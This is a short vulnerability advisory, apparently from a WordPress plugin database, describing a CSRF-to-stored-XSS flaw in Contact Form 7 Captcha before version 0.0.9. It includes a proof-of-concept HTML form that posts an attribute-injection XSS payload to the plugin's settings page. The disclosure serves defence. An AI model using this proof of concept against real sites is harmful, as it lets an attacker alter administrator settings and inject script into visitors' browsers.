WordPress Plugin Vulnerabilities
Contact Form 7 Captcha < 0.0.9 - CSRF to Stored XSS
Description
The plugin does not have any CSRF check in place when saving its settings, allowing attacker to make a logged in user with the manage_options change them. Furthermore, the settings are not escaped when output in attributes, leading to a Stored Cross-Site Scripting issue.
Proof of Concept
All cf7sr_* parameters are vulnerable <html> <body> <form action="https://example.com/wp-admin/options-general.php?page=cf7sr_edit" method="POST"> <input type="hidden" name="update" value="1" /> <input type="hidden" name="cf7sr_key" value="1" /> <input type="hidden" name="cf7sr_secret" value="2" /> <input type="hidden" name="cf7sr_message" value='" autofocus=autofocus onfocus=alert(1) e=' /> <input type="submit" value="Submit request" /> </form> </body> </html>
Affects Plugins
References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
dc11
Submitter
dc11
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-07-26 (about 2 years ago)
Added
2021-07-26 (about 2 years ago)
Last Updated
2022-02-24 (about 2 years ago)